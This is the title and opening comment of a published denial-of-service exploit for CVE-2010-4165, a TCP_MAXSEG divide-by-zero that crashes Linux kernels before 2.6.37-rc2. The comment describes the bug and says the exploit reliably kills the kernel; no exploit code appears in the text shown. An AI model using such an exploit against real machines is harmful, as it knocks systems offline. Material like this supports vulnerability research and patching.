Linux Kernel 2.6.37-rc2 - TCP_MAXSEG Kernel Panic (Denial of Service) (2)

/*
 * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
 * by zx2c4
 *
 * This exploit triggers CVE-2010-4165, a divide by zero
 * error in net/ipv4/tcp.c. Because this is on the softirq
 * path, the kernel oopses and then completely dies with
 * no chance of recovery. It has been very reliable as a
 * DoS, but is not useful for triggering other bugs.
